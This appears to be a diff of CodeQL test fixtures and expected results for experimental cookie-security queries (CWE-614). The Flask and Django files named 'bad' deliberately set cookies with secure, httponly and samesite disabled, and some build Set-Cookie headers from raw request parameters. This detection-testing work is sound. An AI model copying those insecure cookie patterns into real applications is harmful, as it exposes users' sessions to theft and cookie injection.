| django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its httponly flag is not properly set. | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
| django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its samesite flag is not properly set. | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
| django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its secure flag is not properly set. | django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its httponly flag is not properly set. | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its samesite flag is not properly set. | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its secure flag is not properly set. | django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its httponly flag is not properly set. | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its samesite flag is not properly set. | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its secure flag is not properly set. | django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
| flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its httponly flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its samesite flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its secure flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its httponly flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its samesite flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its secure flag is not properly set. | flask_bad.py:24:21:24:27 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:49:24:55 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its httponly flag is not properly set. | flask_bad.py:24:49:24:55 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:49:24:55 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its samesite flag is not properly set. | flask_bad.py:24:49:24:55 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | flask_bad.py:24:49:24:55 | ControlFlowNode for request | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | Cookie is constructed from a $@,and its secure flag is not properly set. | flask_bad.py:24:49:24:55 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:37:32:43 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its httponly flag is not properly set. | flask_bad.py:32:37:32:43 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:37:32:43 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its samesite flag is not properly set. | flask_bad.py:32:37:32:43 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:37:32:43 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its secure flag is not properly set. | flask_bad.py:32:37:32:43 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:60:32:66 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its httponly flag is not properly set. | flask_bad.py:32:60:32:66 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:60:32:66 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its samesite flag is not properly set. | flask_bad.py:32:60:32:66 | ControlFlowNode for request | user-supplied input |
|
||||
| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:60:32:66 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its secure flag is not properly set. | flask_bad.py:32:60:32:66 | ControlFlowNode for request | user-supplied input |
|
||||
@@ -0,0 +1 @@
|
||||
experimental/Security/CWE-614/CookieInjection.ql
|
||||
@@ -0,0 +1,30 @@
|
||||
| django_bad.py:6:5:7:52 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
|
||||
| django_bad.py:6:5:7:52 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
|
||||
| django_bad.py:6:5:7:52 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
|
||||
| django_bad.py:13:5:13:26 | ControlFlowNode for Subscript | Cookie is added without the 'httponly' flag properly set. |
|
||||
| django_bad.py:13:5:13:26 | ControlFlowNode for Subscript | Cookie is added without the 'samesite' flag properly set. |
|
||||
| django_bad.py:13:5:13:26 | ControlFlowNode for Subscript | Cookie is added without the 'secure' flag properly set. |
|
||||
| django_bad.py:19:5:21:66 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
|
||||
| django_bad.py:19:5:21:66 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
|
||||
| django_bad.py:19:5:21:66 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
|
||||
| django_bad.py:27:5:27:26 | ControlFlowNode for Subscript | Cookie is added without the 'httponly' flag properly set. |
|
||||
| django_bad.py:27:5:27:26 | ControlFlowNode for Subscript | Cookie is added without the 'samesite' flag properly set. |
|
||||
| django_bad.py:27:5:27:26 | ControlFlowNode for Subscript | Cookie is added without the 'secure' flag properly set. |
|
||||
| django_good.py:19:5:19:44 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
|
||||
| django_good.py:19:5:19:44 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
|
||||
| django_good.py:19:5:19:44 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
|
||||
| flask_bad.py:9:5:10:52 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
|
||||
| flask_bad.py:9:5:10:52 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
|
||||
| flask_bad.py:9:5:10:52 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
|
||||
| flask_bad.py:17:5:17:30 | ControlFlowNode for Subscript | Cookie is added without the 'httponly' flag properly set. |
|
||||
| flask_bad.py:17:5:17:30 | ControlFlowNode for Subscript | Cookie is added without the 'samesite' flag properly set. |
|
||||
| flask_bad.py:17:5:17:30 | ControlFlowNode for Subscript | Cookie is added without the 'secure' flag properly set. |
|
||||
| flask_bad.py:24:5:25:52 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
|
||||
| flask_bad.py:24:5:25:52 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
|
||||
| flask_bad.py:24:5:25:52 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
|
||||
| flask_bad.py:32:5:32:30 | ControlFlowNode for Subscript | Cookie is added without the 'httponly' flag properly set. |
|
||||
| flask_bad.py:32:5:32:30 | ControlFlowNode for Subscript | Cookie is added without the 'samesite' flag properly set. |
|
||||
| flask_bad.py:32:5:32:30 | ControlFlowNode for Subscript | Cookie is added without the 'secure' flag properly set. |
|
||||
| flask_good.py:23:5:23:57 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
|
||||
| flask_good.py:23:5:23:57 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
|
||||
| flask_good.py:23:5:23:57 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
|
||||
@@ -0,0 +1 @@
|
||||
experimental/Security/CWE-614/InsecureCookie.ql
|
||||
@@ -0,0 +1,28 @@
|
||||
import django.http
|
||||
|
||||
|
||||
def django_response(request):
|
||||
resp = django.http.HttpResponse()
|
||||
resp.set_cookie("name", "value", secure=False,
|
||||
httponly=False, samesite='None')
|
||||
return resp
|
||||
|
||||
|
||||
def django_response():
|
||||
response = django.http.HttpResponse()
|
||||
response['Set-Cookie'] = "name=value; SameSite=None;"
|
||||
return response
|
||||
|
||||
|
||||
def django_response(request):
|
||||
resp = django.http.HttpResponse()
|
||||
resp.set_cookie(django.http.request.GET.get("name"),
|
||||
django.http.request.GET.get("value"),
|
||||
secure=False, httponly=False, samesite='None')
|
||||
return resp
|
||||
|
||||
|
||||
def django_response():
|
||||
response = django.http.HttpResponse()
|
||||
response['Set-Cookie'] = f"{django.http.request.GET.get('name')}={django.http.request.GET.get('value')}; SameSite=None;"
|
||||
return response
|
||||
@@ -0,0 +1,20 @@
|
||||
import django.http
|
||||
|
||||
|
||||
def django_response(request):
|
||||
resp = django.http.HttpResponse()
|
||||
resp['Set-Cookie'] = "name=value; Secure; HttpOnly; SameSite=Lax;"
|
||||
return resp
|
||||
|
||||
|
||||
def django_response(request):
|
||||
resp = django.http.HttpResponse()
|
||||
resp.set_cookie("name", "value", secure=True,
|
||||
httponly=True, samesite='Lax')
|
||||
return resp
|
||||
|
||||
|
||||
def indeterminate(secure):
|
||||
resp = django.http.HttpResponse()
|
||||
resp.set_cookie("name", "value", secure)
|
||||
return resp
|
||||
@@ -0,0 +1,37 @@
|
||||
from flask import Flask, request, make_response, Response
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
|
||||
@app.route("/1")
|
||||
def false():
|
||||
resp = make_response()
|
||||
resp.set_cookie("name", value="value", secure=False,
|
||||
httponly=False, samesite='None')
|
||||
return resp
|
||||
|
||||
|
||||
@app.route("/2")
|
||||
def flask_Response():
|
||||
resp = Response()
|
||||
resp.headers['Set-Cookie'] = "name=value; SameSite=None;"
|
||||
return resp
|
||||
|
||||
|
||||
@app.route("/3")
|
||||
def false():
|
||||
resp = make_response()
|
||||
resp.set_cookie(request.args["name"], value=request.args["value"], secure=False,
|
||||
httponly=False, samesite='None')
|
||||
return resp
|
||||
|
||||
|
||||
@app.route("/4")
|
||||
def flask_Response():
|
||||
resp = Response()
|
||||
resp.headers['Set-Cookie'] = f"{request.args['name']}={request.args['value']}; SameSite=None;"
|
||||
return resp
|
||||
|
||||
|
||||
# if __name__ == "__main__":
|
||||
# app.run(debug=True)
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user